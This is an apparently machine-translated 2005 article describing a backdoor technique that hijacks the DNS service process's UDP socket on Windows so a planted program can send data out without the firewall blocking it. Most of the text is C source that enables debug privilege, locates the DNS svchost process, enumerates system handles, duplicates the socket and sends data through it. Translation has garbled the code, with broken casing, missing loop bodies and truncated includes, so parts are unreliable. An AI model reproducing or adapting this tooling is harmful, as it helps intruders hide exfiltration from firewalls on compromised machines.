Data transmission technology of new penetrating firewall
Created: 2005-04-13 Updated: 2005-04-13 article attributes: original articles submitted: suei8423 (suei8423_at_163.com) data transmission technology Author of a new firewall penetration: ZwelLEmail: zwell@sohu.comDate: 2005.4.12 Using this technology: After the target host is placed in the back door, it is necessary to transfer the data. At the same time, the data is very important. Other situations "serious" does not recommend using this technology (later I will talk about why). At present, some of the firewalls, if your processes open a port (even new sockets), it is definitely blocked. On the contrary, we are also very clear: the process of being verified by the firewall will never be blocked when transmitting data. So My idea is very simple: to take the socket handle that allows data transfer in other processes to be used. The process is as follows: 1. Find the target process 2. Find the Socket handle 2. Use the duplicateHandle () function to convert its socket In order to be used by ourselves. 3. It is very simple to write in data transfer with the conversion Socket, but actually realizes some problems (later discussions). And from the above implementation methods can also be seen Uncomfortable place: Socket in the target process can't be TCP, because the handle of TCP has been connected to the outside, so it can only be UDP. It is difficult to locate a stable process socket. See these, You have a little fuss, haha. Think about it again, in fact, we have a true "Gold Avenue" of Tong Rome. We know that as long as a computer has connected the network, then there is a data transfer is definitely will not be intercepted. , That is DNS. Can you imagine the result of domain name resolution data? Hey, since this is never stopped, and it is UDP transmission, we will take him with a knife ... By directly controlling the DNS process (actually SVCHOST.EXE, it is an example of data transfer to the username is Network service. There are many problems in the programming, and there is no permission when obtaining the SVCHOST corresponding to the username (but can operate Local Service) ), When the handle value is 0x2c, it will stop running. For details, please watch the Note Section ... / * Made by Zwell Zwell@sohu.com 2005.4.12 - * / # include < Winsock2.h> #include
BOOL LocateNtdllEntry (void) {BOOL ret = FALSE; char NTDLL_DLL [] = "ntdll.dll"; HMODULE ntdll_dll = NULL; if ((ntdll_dll = GetModuleHandle (NTDLL_DLL)) == NULL) {printf ( "GetModuleHandle () failed" ); return (FALSE);} if ((ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) GetProcAddress (ntdll_dll, "ZwQuerySystemInformation")!)) {goto LocateNtdllEntry_exit;} ret = TRUE; LocateNtdllEntry_exit: if (FALSE == ret) {printf ( "GetProcAddress () NTDLL_DLL = NULL; RETURN (RET);} / * This Routine is buy to get a process's username from it's sid - * / bool getUsernamefromsid (psid pusersid, char * szusername) {//// sanity checks and default value if (pUserSid == NULL) return false; strcpy (szUserName, "?"); SID_NAME_USE snu; TCHAR szUser [_MAX_PATH]; DWORD chUser = _MAX_PATH; PDWORD pcchUser = & chUser; TCHAR szDomain [_MAX_PATH]; DWORD chDomain = _MAX_PATH; PDWORD pcchDomain = & chDomain;. // Retrieve user name and domain name based on user's SID if (:: LookupAccountSid (NULL, pUserSid, szUser, pcchUser, szDomain, pcchDomain, & snu)) {wsprintf (SzuserName, "% s", szuser;} else {return false;} return true;} / * this routine is buy to get the dns process'
s Id Here, I use WTSEnumerateProcesses to get process user Sid, and then get the process user name. Beacause as it's a "NETWORK SERVICE", we cann't use OpenProcessToken to catch the DNS process's token information, even if we has the privilege in catching the SYSTEM's .-- * / DWORD GetDNSProcessId () {PWTS_PROCESS_INFO pProcessInfo = NULL; DWORD ProcessCount = 0; char szUserName [255]; DWORD Id = -1; if (WTSEnumerateProcesses (WTS_CURRENT_SERVER_HANDLE, 0, 1, & pProcessInfo, & ProcessCount) ) {// dump each process description for (DWORD CurrentProcess = 0; CurrentProcess = NULL) {printf ( "OpenProcess wrong"); CloseHandle (hProcess); return false;} if (0 == OpenProcessToken (hProcess, TOKEN_QUERY, & hAccessToken)) {printf ( "OpenProcessToken wrong:% 08x", GetLastError ()) ; return false;} GetTokenInformation (hAccessToken, TokenUser, InfoBuffer, 1000, & dwInfoBufferSize); LookupAccountSid (NULL, pTokenUser-> User.Sid, szAccountName, & dwAccountSize, szDomainName, & dwDomainSize, & snu); if (hProcess) CloseHandle (hProcess); if (HaccesSstoke); Return True;} * // * now, it is the max important stuff ... ^ _ ^ - * / socket getSocketFromid (dword pid) {ntstatus status; pvoid buf = null Ulong size = 1; ulong numofhandle = 0; ulong i; psystem_handle_information h_info = null; handle sock = null; dword n; buf = malloc (0x10 00); if (buf == null) {Printf ("malloc wrong / n"); return null;} status = zwquerysysteminformation (0x10, buf, 0x1000, & n); if (status_info_length_mismatch == status) {free (buf) BUF = malloc (n); if (buf == null) {Printf ("Malloc Wrong / N"); return null;} status = zwQuerySystemInformation (0x10, buf, n, null);} else {printf ("ZWQuerySystemInformation) WRONG / N "); Return Null;} Numofhandle = * (Ulong *) BUF; H_INFO = (psystem_handle_information) ((Ulong) BUF 4); For (i = 0; i NULL) {free (buf);} Return (Socket) Sock;} / * this is not required ...-- / bool enableprivilege (pcstr name) {handle htoken; bool rv; token_privileges priv = {1, {0, 0, SE_PRIVILEGE_ENABLED}}; LookupPrivilegeValue (0, name, & priv.Privileges [0] .Luid); priv.Privileges [0] .Attributes = SE_PRIVILEGE_ENABLED; OpenProcessToken (GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES, & hToken); AdjustTokenPrivileges (hToken , FALSE, & priv, sizeof priv, 0, 0); rv = GetLastError () == ERROR_SUCCESS; CloseHandle (hToken); return rv;} void main () {WSADATA wsaData; char testbuf [255]; SOCKET sock; sockaddr_in RecvAddr INT IRESULT = WSASTARTARTUP (Makeword (2, 2), & WSADATA); if (IResult! = No_error) Printf ("Error AT WSAStartup () / N"); if (! LocatedllenTry ()) Return; if (! Enableprivilege) SE_DEBUG_NAME)) {PRI NTF ("EnablePrivilege Wrong / N"); return;} sock = getSocketFromid (GetDnsProcessId ()); if (sock == null) {printf ("getSocketFromid Wrong / N"); return;} // change there value .. . Recvaddr.sin_Family = AF_INET; recvaddr.sin_port = htons (5555); recvaddr.sin_addr.s_addr = inet_addr ("127.0.0.1"); if (Socket_ERROR == Sendto (Sock, "Test", 5, 0, (SockAddr *) & Recadddr, sizeof (recvaddr))) {Printf ("Sendto Wrong:% D / N", wsagetlasterror ());} else {printf (" Send ok ... how fun, right? ^ _ ^ / n ");} getchar (); // wsacleanup (); return;} I have this idea before, but I haven't been implemented. on top In the code, because the DNS process handle is to be found, SVCHOST.exe has multiple, so it is judged by the user name, which is used to use OpenProcessToken, but how can't, so it will change the method. Use the wtsapi32 library function. Test: / * udpreceiver - * / # include